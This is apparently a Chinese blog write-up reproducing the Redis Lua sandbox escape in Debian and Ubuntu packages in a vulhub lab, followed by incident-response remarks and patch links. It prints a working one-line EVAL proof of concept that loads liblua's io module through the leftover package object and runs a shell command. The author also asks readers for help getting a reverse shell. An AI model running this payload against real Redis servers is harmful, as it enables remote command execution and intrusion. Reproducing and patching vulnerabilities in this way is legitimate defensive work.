注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。
概述
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
影响版本
- Debian
- Ubuntu
复现过程
这里使用vulhub搭建的漏洞环境

漏洞启动后,使用redis-cli -h 192.168.52.134连接redis服务器(注:漏洞利用需要先登录,或者存在未授权访问)

漏洞POC:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
注:不同环境下的liblua库路径不同,需要指定一个正确的路径。在Vulhub环境(Ubuntu fiocal)中,这个路径是
。/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

关于反弹shell,暂未找到合适方法,希望有大佬带带。
应急响应
redis服务器默认日志级别为notice,故不会记录相关访问登录日志,无日志排查。

加固建议
- Ubuntu:https://ubuntu.com/security/notices/USN-5316-1
- Debian:https://www.debian.org/security/2022/dsa-5081
- 设置账号密码,非必要不开放公网